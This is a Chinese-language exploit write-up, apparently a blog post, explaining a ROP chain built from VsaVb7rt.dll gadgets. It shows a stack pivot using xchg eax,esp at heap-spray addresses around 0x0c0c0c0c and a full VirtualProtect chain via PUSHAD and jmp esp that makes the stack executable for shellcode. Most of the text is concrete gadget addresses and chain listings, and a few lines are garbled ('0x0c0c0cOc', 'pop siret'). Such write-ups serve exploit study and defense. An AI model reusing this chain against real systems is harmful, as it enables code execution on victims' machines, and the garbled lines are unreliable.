1 详细图解如下
虽然我这里构造的rop 是精心构造的,但是都完全还可以压缩空间,为了测试,我设置的ret之间的间距大了些,但是无碍。
2 总结:
1. 改变执行流到栈
xchg eax,esp;pop esi;ret; 这里我选择这条语句,是因为eax 是0x0c0c0c0c ,而eax的位置放的是一个栈地址(在执行流中有用到,已不能修改),该地址指向不能作为指令(无意义),而且此时没有修改保护属性会出错。所以我选择弹出换栈之后的栈顶0x0c0c0c0c位置。将执行控制给0x0c0c0c10。这时候0x0c0c0c10 前面的执行流没有使用,我们就可以在这里定制我们想要的ret指令。
0x0c0c0cOc //0x0c0c0c20 0x0c0c0c10 //0x5e3229ed//add esp,0x10:pop esiret
//*** 0x0c0c0c20 //0x5e3229ed //add esp,0x10:pop siret
//***
0x0c0c0c34 //0x5e3229f0 //pop esi;ret; 0x0c0c0c38 //0x5e28f190 // xchg eaxesp:pop esiret:
分析: 这里主要是根据执行流的一些特征,来定制这个rop,实现执行流切换到栈。当时我想的是,网上这个漏洞的exp都是利用的两个call 之间的关系,那我能不能只利用一个call 呢? 我立刻动手测试,的确可以。所以我看到吾爱破解上直接断言不行,感到惋惜。该动手的时候得动手啊。
2 . 修改栈空间保护属性
0x5e329d12, // POP EBP // RETN [VsaVb7rt.dll] 0x5e329d12, // skip 4 bytes [VsaVb7rt.dll] 0x5e28f7a4, // POP EBX // RETN [VsaVb7rt.dll] 0x00000201, // 0x00000201-> ebx 0x5e292c9d, // POP EBX // RETN [VsaVb7rt.dll] 0x00000040, // 0x00000040-> edx 0x5e34b61c, // XOR EDX,EDX // RETN [VsaVb7rt.dll] 0x5e34b5ee, // ADD EDX,EBX // POP EBX // RETN 0x10 [VsaVb7rt.dll] 0x41414141, // Filler (compensate) 0x5e26098b, // POP ECX // RETN [VsaVb7rt.dll] 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x41414141, // Filler (RETN offset compensation) 0x5e357285, // &Writable location [VsaVb7rt.dll] -------- 这里是用来保存的OldProtect 0x5e25e6cc, // POP EDI // RETN [VsaVb7rt.dll] 0x5e267102, // RETN (ROP NOP) [VsaVb7rt.dll] 0x5e25b1f6, // POP ESI // RETN [VsaVb7rt.dll] 0x5e23aa93, // JMP [EAX] [VsaVb7rt.dll] 0x5e290c74, // POP EAX // RETN [VsaVb7rt.dll] 0x74614224, // ptr to &VirtualProtect() (skipped module criteria, check if pointer is reliable !) [IAT MSVCR80.dll] 0x5e351384, // PUSHAD // RETN [VsaVb7rt.dll] 0x5e287050, // ptr to 'jmp esp' [VsaVb7rt.dll]
解释: 这里的rop链,可能很多初学者不能很好的理解 ,其实这里就是根据pushad压寄存器的顺序(eax,ecx,edx,ebx,esp,ebp,esi,edi),惊醒构造每个寄存器的数据,然后通过pushad 把想要顺序的数据压入栈,这时候再通过jmp esp 跳板,就能执行刚才这段构造的rop了。这里就能构建出执行virtualprotect所需要的栈。有兴趣的朋友,可以手写一些这里构造的栈的具体布局,加深对此rop链的理解。